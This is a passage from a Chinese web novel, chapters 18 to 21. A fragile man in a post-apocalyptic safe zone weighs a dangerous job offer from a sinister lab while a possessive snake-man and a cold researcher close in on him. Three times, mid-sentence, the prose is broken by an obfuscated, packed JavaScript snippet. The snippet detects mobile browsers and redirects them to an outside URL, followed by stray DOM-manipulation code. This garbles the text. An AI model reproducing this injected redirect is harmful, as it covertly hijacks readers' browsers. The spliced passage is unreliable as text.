如果“缠枝”残留的花粉都能让斯莱瑟变成这样,那靠近它的本体……方叙白不敢再想下去。 “嗯……”方叙白含糊地应了一声,算是认同了斯莱瑟的说法。 他此刻只想尽快结束这令人窒息的距离,“斯莱瑟,你先起来好不好?我……我有点喘不过气……” 斯莱瑟的身体明显僵了一下,眼底深处掠过一丝不甘,但最终还是顺从地、慢吞吞地直起身。 他高大的身影依旧堵在狭小 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他似乎在很认真地思考如何“正确”地赞美方叙白。 方叙白愣了一下,没想到斯莱瑟会提起这个,随即有些尴尬,“那只是……一种气质形容。形容男性的话……‘帅气’、‘英俊’、‘有型’、‘精神’……都可以。” 他努力搜刮着词汇。 “帅气……英俊……”斯莱瑟低声重复着,眉头皱得更紧,像是在品味这些词汇与“漂亮”的区别。他抬头看着方叙白那张在卫生间顶灯下如同精心雕琢过、每一处线条都无可挑剔的脸,眼神里充满了纯粹的疑惑和不解,“可是,‘漂亮’……是不好的意思吗?为什么不能用‘漂亮’来形容美好的东西?” 他问得很认真,红色的眼眸清澈见底,仿佛在探讨一个深奥的哲学问题。 “在我眼里,你就是很完美的存在,比任何宝石都璀璨,比任何花朵都……呃,阳光?” 他似乎觉得“阳光”这个词很新鲜,但显然并不认为它足够贴切,“‘漂亮’为什么不行呢?它明明最准确。” 方叙白被他这执着于词汇的、带着异族思维方式的追问弄得哑口无言,甚至感到一丝无力。跟一条蛇解释人类语言的微妙差异和社交禁忌? 这难度不亚于教他做高数。 他张了张嘴,最终只是疲惫地叹了口气:“……算了,当我没说。” 他此刻只想尽快离开这个逼仄的空间。“我们……出去吧?挤在这里好奇怪。” “好!”斯莱瑟立刻答应,脸上重新扬起笑容,仿佛刚才的尴尬和委屈都烟消云散。 但……就在方叙白侧身想从他身边挤出去前,斯莱瑟的手臂却极其自然地环了过来,他像一条没有骨头的巨蟒,瞬间卸掉了方叙白身体大半的重量,将他整个人半搂半挂地“架”在了自己身上。 “小心点,你刚醒还很虚弱。”斯莱瑟的声音温柔得能滴出水,动作却带着不容拒绝的强势。他几乎是半抱着方叙白,轻松地将他带离了卫生间,走向病床。 18.第 18 章 方叙白身体僵硬,被动地被斯莱瑟“搬运”着。对方身上传来的体温清晰无比,环绕的手臂便是一道枷锁,将他牢牢禁锢在身边。 他被迫闻到对方身上那股清新的草木气息,当然,还有那丝挥之不去的血腥味。 一直到被放回病床上,方叙白紧绷的神经才稍微松懈了一丝。 但仅仅是一丝。 他立刻又想起了卫生间镜子里那张陌生的脸。 他下意识地抬手,摸了摸自己柔软的金色发丝,触感无比真实。 他抬眼看向斯莱瑟:“斯莱瑟……你第一次见到我的时候……我就是……这个样子吗?” 他指了指自己的头发和脸。 斯莱瑟正帮方叙白掖被角,动作轻柔得近乎虔诚。 听到问题,他抬起头,红色的眼眸看向方叙白,眼神专注,带着纯粹的欣赏:“是啊,我第一次见到你,在诺卡斯的公寓门口,你就这样站在门里,漂亮得像在发光。” 他语气自然,甚至带着点怀念,“金色的头发,像太阳一样,我一眼就看到了。” 轰! 方叙白脑子里最后一丝侥幸被彻底粉碎!冰冷的感觉瞬间从脚底板窜遍全身!斯莱瑟第一次见到他时,他就是金发!这意味着什么?意味着他的“变化”可能早就开始了!就在他毫无察觉的时候!在诺卡斯的公寓里?是在喝了那些营养液之后?还是更早?甚至……是在他穿越过来的那一刻? 恐惧瞬间淹没了方叙白。 他看着斯莱瑟那双写满真诚赞美的红色眼睛,只觉得一股寒气从骨头缝里往外冒。他不仅被困在这个疯狂的世界里,连自己的身体都在悄然发生着不可控的异变!他到底是什么? “滴滴滴——滴滴滴——” 急促的电子提示音突然响起,打破了病房内的死寂。 声音来自斯莱瑟的口袋。 方叙白如溺水的人抓住了浮木,猛地看向声音来源。 斯莱瑟眉头微皱,似乎被打扰了很不悦。 他慢条斯理地从皮衣内侧口袋里掏出一个巴掌大的黑色设备。 屏幕亮着,上面闪烁着红色的警示符号和一串不断滚动的文字。 “是什么?”方叙白急需一个转移注意力的话题来压下内心的恐慌。 斯莱瑟瞥了一眼屏幕,他将屏幕转向方叙白:“医院的缴费单,催得真紧……喏,你看。” 方叙白的目光落在屏幕上。 那是一份极其详尽的费用清单。 项目名称密密麻麻,许多词汇他根本看不懂,但那些阿拉伯数字后面跟着的一长串零,他还是很看得懂的。 【E-6医疗中心综合救治费】 【高级生命体征监测(48小时)】:12,000.00 【A级污染源暴露紧急处置费】:35,000.00 【异能潜力评估(高级)】:8,500.00 【特护病房(单人间/日)】:1,500.00 【急救药物(强效净化因子x5)】:15,000.00 【……】 【总计:68,920.00 点贡献值】 六万八千九百二十点贡献值! 方叙白的呼吸瞬间停止了! 他脑子里什么金发、什么异变、什么诺卡斯斯莱瑟,全都在这一刻被这串天文数字炸得粉碎! 只剩下那一个个触目惊心的零,在他眼前疯狂舞动! 安全区的一顿普通营养餐只要几十点! 六万八千多点?! 呵呵……就连王医生嘴里那个很是高级的工作,也只能开到一万八的工资。 他感觉一阵强烈的眩晕袭来,眼前发黑,身体晃了晃,几乎要从床上栽下去。 还不如不救。 “……方叙白?!”斯莱瑟眼疾手快地扶住他,声音里带着一丝很真实的紧张,“你没事吧?” “我……我……”方叙白捂着额头,声音虚弱得像蚊蚋,“我……我要出院……现在!立刻!马上!” 他现在唯一的念头就是逃离这个抢钱的地方!多待一秒都是巨额负债的增加! 斯莱瑟迅速权衡利弊:离开医院,就能远离那个该死的王医生和“缠枝”的花粉,也能避免妈妈再被这账单吓出个好歹。 至于妈妈的身体? 没关系,有他在身边,他能照顾好。而且……离开这里,妈妈就彻底只能依靠他了…… 这个念头让他心头一阵灼热。 “好!”斯莱瑟几乎没有犹豫,立刻点头,“我去办手续!我们马上就走!” 他动作麻利地站起身,“待在这里确实不安全,那个王医生不对劲,医院也有问题。你放心,有我呢!” 斯莱瑟按了铃,等待护士到来的间隙,他又坐回床边,动作极其自然地握住了方叙白放在被子外、因为惊吓和虚弱而有些冰凉的手。 方叙白身体一僵,下意识地想抽回手。 但斯莱瑟握得很紧,拇指还在他手背上安抚性地轻轻摩挲了两下。 斯莱瑟的手掌宽大,带着一种冷血动物特有的微凉,像一块光滑的玉石贴在方叙白的手背上。 这种摩挲本应是安抚,却让方叙白全身僵硬。 他下意识地想抽回手。 斯莱瑟瞬间捕捉到了这丝抗拒。 那明亮的竖线微微收缩了一下,眼底深处似乎掠过一丝被冒犯的冰冷,但快得如同错觉。 他非但没有松开,反而像是没察觉到方叙白的意图,手指蜷起,将方叙白的手握得更紧了些,仿佛只是无意识地调整了一下姿势。 他微侧身,动作自然地去拿床头柜上的水杯,递到方叙白唇边:“喝点水?你脸色还是不太好。” 他倾身向前,不知道是有意还是无意,皮衣随着动作被不经意地掀起了一角。 方叙白的目光,几乎是本能地被那暴露出的皮肤吸引了过去。 腰侧。 一道狰狞扭曲的暗红色疤痕,如同丑陋的蜈蚣,盘踞在斯莱瑟的腰腹上。 疤痕的边缘参差不齐,深深嵌入皮肉,周围的皮肤微微凹陷,呈现出一种不健康的青灰色泽。 疤痕的走向极其诡异,仿佛曾经有无数张细小的嘴在那里啃噬、撕扯,最终只留下这团丑陋的疤。 方叙白倒吸一口凉气,胃里一阵翻搅。 他见过斯莱瑟手臂上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306303|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深可见骨的撕裂伤,见过他后背被腐蚀的焦黑,但这些伤口在斯莱瑟恐怖的自愈力下很快便消失。 唯独这道疤…… “这……”方叙白的声音有些发紧,连带着想抽回的手都忘了用力,“……这是什么时候的伤?怎么……没愈合?” 他忍不住伸出手指,虚虚地指向那疤痕的位置。 斯莱瑟的动作顿住,好像也没想到方叙白会突然说这样。 他顺着方叙白的视线低头,目光落在自己腰侧的疤痕上,脸上的表情似乎空白了一瞬。 随即,他扯了扯嘴角,露出一个极其无所谓的笑,伸手将那掀起的衣角拉平。 “这个吗……”他语气轻松,仿佛那道触目惊心的疤痕与他无关,“哦,老伤了。早就不疼了,现在一点感觉都没有。” 他甚至用力按了按那个位置,向方叙白展示它的“无害”,但方叙白只觉得那按压的动作让那道疤痕显得更可怖。 斯莱瑟放下手,红色的瞳孔似乎都蒙上了一层阴翳。 他的声音低了下去,带着一种刻意营造的、漫不经心的残忍:“以前的事了。还在污染区的时候……被一群‘家伙’扔进蛇窟里,当‘活饵’逗弄那些饿疯了的同类。这点小伤,就是那时候被撕扯留下的。” 他没有再说下去。 也不需要了。 方叙白的呼吸停滞了。 蛇窟?活饵?被同类撕扯?! 仅仅是几个词,就足以在方叙白的脑海中勾勒出一幅血腥恐怖的图景。 他无法想象,也无法理解斯莱瑟口中的“弱肉强食”法则究竟残酷到何种地步。 之前的厌恶和抗拒,在这赤裸裸的生存苦难面前,暂时被一种更汹涌的恻隐之心盖过。 他……到底经历过什么? 斯莱瑟敏锐地捕捉到了方叙白眼神的变化。 震惊褪去后,弥漫开来的、如同温水般柔软的怜悯。 他心中无声地嗤笑了一声,却又欣喜。 人类……真是奇怪又矛盾的生物。明明那么脆弱,却又拥有如此廉价的同情心。 不过……似乎……很好用? 他不需要任何同情,但如果是方叙白,那自然另当别论。 他顺势垂下眼睑,长长的睫毛遮住了红瞳中一闪而过的得逞。 他像一个初次发现新奇玩具的孩子,带着更深的贪婪,开始学习如何“利用”这种名为“同情”的情绪。 “咚咚——” 病房门被礼貌地敲响了两下,随即推开。 站在门口的是一位与王医生气质截然不同的年轻男性。 他看起来不过二十多岁,身形瘦削挺拔,穿着一尘不染的白色研究服,内里是熨帖的深蓝色衬衫。 一头打理得一丝不苟的深棕短发下,是一张轮廓分明却毫无表情的脸。 他的眼睛是极浅的灰蓝色,像蒙着薄雾的冰湖,眼神锐利、专注,却没有任何温度,纯粹是高度理性的观察仪器。 “方先生?”他的声音和他的眼神一样,平稳、清晰、不带任何情绪起伏,如同某种精密的仪器在播报,“我是‘源’实验室的研究员,博格。很抱歉打扰你休息。” 19.第 19 章 博格的视线在方叙白脸上停留了片刻,眼神似乎微微波动了一下,但快得无法捕捉,随即恢复了绝对的平静。 “首先,我必须就王振医生的不当行为向你正式道歉。”博格颔首,“他的精神状态受到了‘缠枝’残留物的深度污染影响,做出了超出权限、违背安全条例的举动,包括但不限于违规接触高危污染源样本以及试图诱导你签署未经风险评估的协议。这严重违反了实验室守则和安全区的相关规定。我们已将其控制,并将进行隔离治疗与全面审查。” 他的道歉毫无诚意,更像是在宣读一份事故调查报告,公事公办到令人齿冷。 “其次,关于你的异能检测报告,我方实验室已完成最终复核。”博格没有停顿,仿佛刚才的道歉只是程序的一部分,直接切入下一个议题,“确认你已成功觉醒为高潜力治愈系异能者。根据安全区《异能者管理条例》第一章第九条,所有登记在册、具备行动能力的异能者,自觉醒确认之日起一周内,需接受安全区统一调配,执行与其能力适配的公共任务或研究项目,以履行其获得安全庇护所对应的社会责任与义务。” 他眼睛毫无波澜地注视着方叙白:“简单来说,方先生,你下周需要加入安全区的异能者小队,开始执行分配给你的任务。” 他顿了顿,补充道,“当然,任务内容会基于你的能力特点进行安排,初期以低烈度区域的后勤支援和熟悉流程为主。具体细节会在出发前通知你。” “出去执行任务?”方叙白失声叫了出来,刚压下去的恐慌瞬间又冒了出来,“回污染区?不行!我刚从那里逃出来!” 一想到窗外那片弥漫着沥青雨和扭曲怪物的废墟,他的声音都带上了颤抖。 博格的表情没有丝毫变化,仿佛方叙白的激烈反应都在他的计算之内。 “方先生,”他的声音依旧平稳,“安全区提供的生存资源并非无偿。异能者受普通居民供养,拥有远超常人的能力,自然要承担起与之匹配的风险和责任,以维持整个安全区的运转与平衡。这是安全区存在的基石。逃避义务,即意味着自动放弃安全区的庇护权。” 他目光扫过旁边脸色阴沉的斯莱瑟,又落回方叙白脸上,精准地抛出了第二个选项,也是他此次来的目的。 “或者,你也可以选择接受我们‘源’实验室的聘任,成为‘缠枝’项目组的专属‘安抚员’。该岗位属于实验室内部编制,工作地点完全在安全区核心防护区内,无需外出执行危险任务。薪资待遇与福利保障是异能者外勤岗位的两倍以上,并且会全额豁免你的本次医疗费用。” 方叙白的心猛地一跳! 豁免六万多的医疗费? 无需外出? 两倍薪资! 巨大的诱惑如同甜蜜的毒药,瞬间麻痹了他对“缠枝”残留的恐惧。 一个被层层防护关起来的死物……真的比活生生的、随时可能被污染物撕碎的危险更可怕吗?王医生被污染……也许只是因为他不是真正的治愈系? 也许……自己真的能胜任? 斯莱瑟的忍耐终于到了极限。 他一步踏前,挡在了方叙白和博格之间,暗红色的蛇尾绷紧,竖瞳死死盯着博格那张毫无表情的脸,声音带着毫不掩饰厌恶: “博格研究员,”斯莱瑟的声音压低,带着蛇类特有的嘶嘶尾音,“‘缠枝’是什么东西,你我心知肚明。方叙白刚脱离污染区,身心都处于脆弱期,你让他去接触那种级别的残留污染源,安的什么心?就算是在安全区内,实验室就绝对安全吗?王振就是最好的例子!” 博格的目光平静地迎上斯莱瑟充满戾气的视线,灰色的眼眸里没有丝毫波澜,如同两潭冻得结实的冰水。 “斯莱瑟先生,”他的声音依旧平稳,甚至带着一丝不易察觉的、对对方情绪的漠视,“你的担忧缺乏客观依据。‘缠枝’主体意识已确认湮灭超过十年,其残留核心目前处于最高级别的物理与能量多重收容状态,其逸散污染等级严格控制在C级以下,经反复验证对未受创精神力无诱导性。王振事件属于极端个例,源于其个人长期违规操作导致的深度污染累积,与‘缠枝’核心样本本身无关。实验室的安全防护等级远超你的想象,由主控AI‘壁垒’全程监控,冗余度达到99.999%。另外……” 他顿了顿,目光扫过斯莱瑟紧握方叙白手腕的手,眼神暗了一下:“根据《安全区异变体及外来人员管理条例》补充条款,非登记在册、且无法提供有效安全区长期居住证明的非人类个体,无权干涉安全区内部人员调配及研究项目安排。斯莱瑟先生,请你不要干扰方叙白先生做出符合他自身利益和安全区法规的选择。” 斯莱瑟的拳头瞬间攥紧,骨节发出令人牙酸的咯咯声,周身散发出冰冷的杀意。 他几乎要控制不住显露出蛇的本体形态,将这个碍眼的、满口逻辑的混蛋撕碎! 斯莱瑟的声音像是淬了毒,“把他当成安抚一个S级异种尸体的工具,叫符合他的利益?博格,收起你那套道貌岸然的嘴脸!你们实验室想干什么?把他当成消耗品,榨干他的生命力去喂饱你们那个‘宝贝’标本吗?” 博格微微歪了下头,脸上第一次露出了一丝极其细微的、近乎困惑的表情,仿佛斯莱瑟说了一个难以理解的笑话。 “斯莱瑟先生,你的指控基于非理性的臆测,毫无逻辑和数据支撑。‘安抚员’的工作性质是精神层面的能量疏导与稳定,类似于心理按摩师,对异能者本体消耗微乎其微。我方所有研究行为均在最高伦理委员会监督下进行,数据透明可查。你这种毫无根据的污蔑,不仅是对实验室的诽谤,更是对安全区秩序的挑战。” 他向前半步:“选择权在方先生手中。接受外勤任务,或者加入‘缠枝’项目组。这是规则,是常识。如果你真的关心他,应该尊重他的选择,而不是试图用暴力和恐吓左右他的决定,这只会让他陷入更深的危险境地。” 斯莱瑟的喉咙里发出一声压抑的嘶声,全身的肌肉绷紧到了极限。 “够了!”方叙白猛地开口,他用力想挣脱斯莱瑟的手,这次成功了。 他看向博格,眼神里充满了挣扎:“博格研究员……让我……再考虑一下。” 博格凝视了方叙白几秒,扫描分析着他的表情。 片刻后,他点了点头:“当然可以。你有一周时间做出最终选择。在此期间,为了表达我方对此次管理疏失的歉意,以及对你这位高潜力异能者的诚意……” 他停顿了一下,目光扫过那份令人窒息的费用清单,“你本次住院期间产生的所有费用,共计六万八千九百二十点贡献值,由‘源’实验室承担,予以全额豁免。” 轰! 方叙白感觉压在心口的那座大山,瞬间被移开了! 巨大的狂喜混合着难以置信的晕眩感瞬间淹没了他,让他几乎喘不过气。 六万多点……没了?不用还了?! “真的……吗?”他的声音带着抑制不住的颤抖。 “实验室的承诺,具有最高效力。”博格平静地确认,“相关手续会在你做出最终选择后一并办理。”他微笑,“那么,不打扰你休息了。请慎重考虑你的未来。” 说完,博格不再看任何人,转身,径直离开了病房。 病房里再次只剩下方叙白和斯莱瑟。 方叙白靠在床头。 债务解除的狂喜后,是茫然。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306304|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >三条路:充满未知危险的野外任务,靠近神秘恐怖的“缠枝”标本,或者……再找一个依靠? 他的目光不由自主地飘向斯莱瑟。 这条蛇…… 斯莱瑟正死死盯着博格消失的门口,红瞳里冰冷的杀意与一种被强行压抑的暴戾交织翻涌。但当他感受到方叙白的目光转过来,他迅速收敛了所有外露的情绪,重新换上那副带着点委屈和担忧的表情,凑近床边。 “方叙白……”他声音放软,“别听那个冷血机器的!安全区根本没把你当人看!他们只想利用你!跟我……” 方叙白闭上了眼睛,打断了他的话:“斯莱瑟……让我一个人静静……求你了……” 斯莱瑟的话卡在喉咙里。 他看着方叙白苍白疲惫的侧脸,那刚刚涌起的、想要强行带走他的冲动被强行压了下去。 他深深吸了口气,空气中残留的、属于方叙白身上的那股让他灵魂都为之战栗的气息,此刻也带上了一丝疲惫的味道。 这让斯莱瑟感到一丝陌生的……烦躁? “……好。” …… 走廊尽头,博格快步走向医院实验室的大门。 门无声滑开,露出后面的银色通道。通道尽头,是“源”实验室的核心隔离区。 空气里弥漫着消毒水和某种难以形容的、类似腐朽根茎的气息。 博格面无表情地穿过一道道气密门,停在一间观察室外。 观察室的强化玻璃墙内,并非什么精密仪器,而是一小片……人工土壤?土壤中央,半掩埋着一截粗壮虬结、色泽暗沉如焦炭的藤蔓残骸。 这是“缠枝”残留核心样本的一部分。 此刻,那截焦黑的藤蔓毫无生气,如同死物。 博格的目光落在土壤边缘。 那里散落着几片枯萎、萎缩、几乎与泥土融为一体的……人形残留物。 依稀能辨认出王医生那件白大褂的碎片。 “分析报告。”博格对着空气开口,声音毫无波澜。 一个冰冷的电子合成音在观察室内响起:“【报告:P-16号污染体(王振)分解进度99.8%。组织活性已彻底消失。能量反馈:极低。无法满足主体最低滋养需求。判定:劣质养分,回收价值低于分解能耗。】” 博格灰蓝色的眼眸扫过那片污迹,眼神里毫无对同类的怜悯,只有一种近乎苛刻的审视。 他蹙眉,低声自语,像是在对那截毫无反应的焦黑藤蔓说话,又像是在质问空气: “营养严重不足……连弥补一次最低消耗都不够。主体……” 他的眉头皱得更紧,语气带着一丝不易察觉的困惑与……失望? “你现在的选择标准,真是越来越令人费解了。”他伸出手指,轻轻点了点自己的太阳穴,仿佛在回忆某种感官体验,“还有……那个方叙白……一个普通的人类男性?精神力波动微弱,肉体凡胎。除了那张非常漂亮的脸,和那点尚不稳定的治愈能量,他有什么特殊之处值得你如此……青睐?” 他顿了顿,鼻翼几不可察地翕动了一下。 空气中,原本无处不在的、属于“缠枝”的那种独特气息,此刻似乎……变得极其淡薄? 取而代之的,是一种更接近……雨后泥土的清新?甚至……有点接近无香? 博格闭上眼睛,深深地吸了一口气。 再睁开,眼眸里第一次出现了明显的波动。 那是一种混合着震惊、不解和强烈探究欲的光芒。 “你的香气……在变化?” 他盯着玻璃墙后那截死寂的焦黑藤蔓,一字一顿: “正在向着……无香型蜕变?” 20.第 20 章 “为了一个人类?”博格语气里的不屑几乎要凝成实质,“改变自身最本质的存在形态?就因为他不喜欢?” 这简直是他见过最荒谬的事情。 异种的进化从来都是为了更强、更具掠夺性,为了适应更残酷的环境,而不是为了迎合一个脆弱的、随时可以被碾碎的人类的喜好。 “真是……”博格嗤笑,“愚蠢得令人发指。” 话音刚落,震颤声从玻璃墙后传来。 原本如同死物的焦黑藤蔓,竟然动了! 虬结的藤蔓表面突然爆发出一阵噼啪作响的火星,焦黑的外皮像被点燃的纸卷,开始以肉眼可见的速度剥落,露出底下一抹极淡的、近乎透明的嫩绿色。 藤蔓开始缓慢地、却又带着一种难以言喻的激动,轻轻摇曳起来! 它像是在回应博格的嘲讽,又像是在表达某种强烈的、无法言说的情绪。 原本沉寂的观察室,因为这突如其来的“舞动”而瞬间充满了生机。 “哦?”他发出一声意味不明的反问,“被激怒了?” 这倒是有趣。 仅仅是几句嘲讽,就能让这沉寂了十年的残骸产生如此剧烈的反应? 看来那个叫方叙白的人类,对它的影响,比他想象中还要深。 藤蔓的舞动越来越剧烈,嫩绿色的内里在焦黑的外皮间若隐若现,像是在努力挣脱束缚。 观察室的能量监测仪上,代表“缠枝”活性的数值开始疯狂飙升,虽然远未达到A级阈值,但其增长的速度和幅度,已经足够让任何研究人员心惊胆战。 “够了。”博格冷冷地开口。 仿佛是听懂了他的话,藤蔓的舞动猛地一滞,随即像是泄了气的皮球,慢慢恢复了平静,重新变得死气沉沉,仿佛刚才那短暂的“复活”只是一场幻觉。 但剥落的焦黑外皮,和监测仪上尚未完全回落的数值,证明刚才的一切都是真实发生过的。 “蠢东西。”他再次吐出这三个字,声音里没有任何情绪起伏,仿佛在陈述一个既定的事实。 无论是为了一个人类改变自身,还是因为几句嘲讽就失控暴走,都暴露了它骨子里的“愚蠢”。 不过…… 博格的嘴角几不可察地向上弯了弯,露出一个令人毛骨悚然的笑容。 这种“愚蠢”,或许可以好好利用一下。 厚重的合金门无声地滑开,又在博格身后悄无声息地合上。 走廊里的灯光惨白,照在博格棱角分明的侧脸上,让他看起来更像一尊没有感情的仪器。 他脑海里飞速运转。 缠枝活过来了。 虽然只是极其微弱的复苏迹象,但这已经足够了。 它想要完全活过来,想要重新占据这个世界……就必须遵循它种族的本能。 那截核心藤蔓会疯狂地滋生出无数分支,如同贪婪的根系,悄无声息地渗透到安全区的各个角落,寻找合适的宿主。 那些被寄生的人类,会在不知不觉中成为它的养料和傀儡,彼此之间会展开残酷的竞争和吞噬。 只有最强壮、最具适应性的那一支,才能最终吞噬所有同类,成为新的主藤蔓。 而那些失败者,那些被淘汰的分支和它们的宿主…… 博格的眼神微微闪烁了一下,像是看到了什么极其美丽的景象。 它们会枯萎、腐烂,最终化为最精纯的养分,滋养那片孕育出主藤蔓的“花圃”。 到那时,他的“花圃”一定会变得无比“漂亮”吧。 毕竟,没有什么比绝望和死亡浇灌出的“花朵”更艳丽的了。 …… 一周的时间,转瞬即逝。 “源”实验室,博格正站在一个巨大的培养皿前。 培养皿里浸泡着一具半人半植物的畸形躯体,无数根淡绿色的藤蔓从躯体的七窍和毛孔中钻出,在营养液里蠕动。 “教授。”一个怯生生的声音在身后响起。 是他的助理,一个有着棕色卷毛和小雀斑的年轻研究员。 博格没有回头,只是淡淡地“嗯”了一声,示意他继续说。 助理咽了口唾沫,小心翼翼地说道:“那个……安抚员来了。已经在外面的会客室等着了。” 方叙白最终还是选择了接受实验室的聘任。 这个结果并不出乎博格的意料。 在生存和诱惑面前,大多数人类的选择往往都极其相似。 “知道了。”博格依旧没有回头,“让他等着。” 助理愣了一下,有些犹豫:“可是教授,您之前不是说……” “我说让他等着。”博格的声音没有提高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306305|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却带着一种不容置疑的威压。 助理的话卡在喉咙里,脸色瞬间变得有些苍白,连忙点头:“是,教授。” 他转身想走,却又像是想起了什么,犹豫了一下,还是硬着头皮开口:“教授……” “还有事?”博格终于转过身,目光落在助理身上,带着一丝不耐烦。 助理被他看得浑身一僵,下意识地后退了半步,结结巴巴地问道:“您……您最近……怎么不喷香水了?” 以前的博格,身上总是带着一种极其淡雅、却又异常独特的香气,像是雨后的森林,又像是陈年的醇酒,让人闻之难忘。 但这几天,那种熟悉的香气消失了,取而代之的是一种……极其干净,甚至干净得有些冰冷的气息,让人心生寒意。 博格的眼神微微眯起。 助理被他看得头皮发麻,心脏狂跳,恨不得立刻原地消失。 他为什么要多嘴问这个! 博格什么都没说,只是静静地看着他。 空气仿佛凝固了,沉重得让人喘不过气。 过了几秒,博格才缓缓移开视线,重新转向那个巨大的培养皿,语气平淡无波:“出去。” “是!是!”助理如蒙大赦,几乎是逃也似的冲出了实验室。 门在他身后关上,隔绝了那令人窒息的压力。 助理靠在冰冷的墙壁上,大口大口地喘着气,额头上布满了冷汗。 “嘿,艾登,怎么了?脸色这么难看?”一个路过的研究员好奇地问道。 “没、没什么……” 他顿了顿,皱起眉头,压低声音对那个研究员说:“博格教授……还是老样子,阴晴不定的。刚才就因为我多问了一句他为什么不喷香水,差点没被他的眼神冻僵……” 那个研究员了然地叹了口气,拍了拍他的肩膀:“习惯就好。博格教授一直这样,脑子里只有他的研究,我们这些凡人还是少招惹为妙。” 艾登点点头,心里却更加不安了。 他总觉得,教授这几天的状态,不仅仅是“阴晴不定”那么简单。 他身上那股冰冷的气息,那种仿佛能吞噬一切的漠然……越来越重了。 就好像……有什么极其可怕的东西,正在他体内慢慢苏醒。 艾登打了个寒颤,不敢再想下去,快步离开。 21.第 21 章 会客室的空气里残留着消毒水和淡淡花香混合的味道,方叙白坐在靠窗的沙发上。 不知道为什么,这里的天空最近几天也变成了那种灰蒙蒙的色调。 他深吸了口气,试图压下心里的不安。 选择接受“源”实验室的聘任,与其说是被那笔豁免的医疗费和优厚待遇打动,不如说是别无选择。 外勤任务的危险显而易见,而斯莱瑟…… 方叙白想起那双总是带着炽热占有欲的红色瞳孔,还有那冰凉滑腻的蛇尾缠绕在腰间的触感,胃里就一阵翻搅。 相比之下,待在实验室里,至少听起来是“安全”的。 “方先生?” 怯生生的声音在门口响起,打断了方叙白的思绪。 他抬头,艾登正站在门口,棕色的卷发有些凌乱,脸上带着点局促的笑意,小雀斑在苍白的皮肤上显得格外明显。 “抱歉让您久等了,博格教授他……临时有个实验走不开,让我先带您去熟悉一下工作环境。”艾登的声音有点小,像是怕惊扰了什么,说话时眼神不自觉地瞟向方叙白的头发,又飞快地移开,脸颊泛起一丝可疑的红晕。 “好。”方叙白站起身,尽量让自己的语气听起来平静些。 他的头发不知道为什么,这一周疯长,变成了长发。 他原本想剪掉,但这里的……理发店贵到离谱! 此刻,他金色的长发在顶灯的照射下泛着柔和的光泽,皮肤白皙,五官精致得像是精心雕琢的艺术品。 艾登看着他站起来的动作,目光下意识地停留在他的脸上,像是被磁石吸住了一般,完全移不开眼。 怎么会有人长这么好看? 艾登的心跳莫名快了几拍,脑子里一片空白。他在“源”实验室待了五年,见过各种因污染而形态异变的人,也见过为了适应环境而刻意改造身体的异能者,却从未见过像方叙白这样的。 干净、纯粹,像是从未被这个灰暗世界玷污过的光。 “艾登先生?” 方叙白的声音带着一丝疑惑,他已经站在门口等了好几秒,却发现艾登只是盯着他发呆,眼神直勾勾的,有点吓人。 “啊?!”艾登猛地回过神,像是被踩了尾巴的猫,身体猛地一颤,手里的文件夹差点掉在地上。 他慌忙扶住文件夹,脸颊瞬间红透了,连耳根都染上了粉色,“对、对不起!我……我刚才在想事情,走神了,真的很抱歉!” 他语无伦次地道歉,头埋得很低,不敢再看方叙白,生怕对方看出自己刚才的失态。 方叙白看着他这副手足无措的样子,心里的不安稍微缓解了些。 至少这个助理看起来不像博格那么冷冰冰的,也不像斯莱瑟那样让人浑身发毛。 “没事。”方叙白淡淡道,“我们走吧。” “好好好!”艾登连忙点头,快步走到前面带路。 走廊两侧是银白色的金属墙壁,上面嵌着许多透明的观察窗。 空气里弥漫着浓郁的消毒水味,还夹杂着一丝若有若无的、类似腐叶的腥气,让人很不舒服。 艾登一边走,一边断断续续地介绍着:“这边是……是基础实验室区域,主要负责……负责污染物样本的初步分析。前面左转是资料室,您需要的‘缠枝’相关文献都在那里……” 他的声音越来越小,因为他发现自己又忍不住想回头看方叙白。 金色的长发随着走路的动作轻轻晃动,阳光透过走廊尽头的窗户洒进来,在发梢上镀上一层金边,好看得让人移不开眼。 艾登用力掐了掐自己的手心,强迫自己专注于带路,心里却乱糟糟的。 博格教授到底在想什么?让这么一个看起来干净又脆弱的人来接触“缠枝”,简直是把羔羊扔进狼窝。 “到了。”艾登在一扇门前停下。 方叙白跟着走进去,脚步瞬间顿住。 这是一个不算大的房间,靠墙放着一张宽大办公桌,桌子上却堆满了东西。 大大小小的文件袋、几本封面磨损的厚书,还有……一束鲜艳的红玫瑰。 玫瑰花用银色的纸包着,花瓣上还带着晶莹的水珠。 “这是……”方叙白皱起眉,心里涌起一股莫名的烦躁。 艾登也愣了一下,眼神猛地一缩,像是没想到会有这些东西。 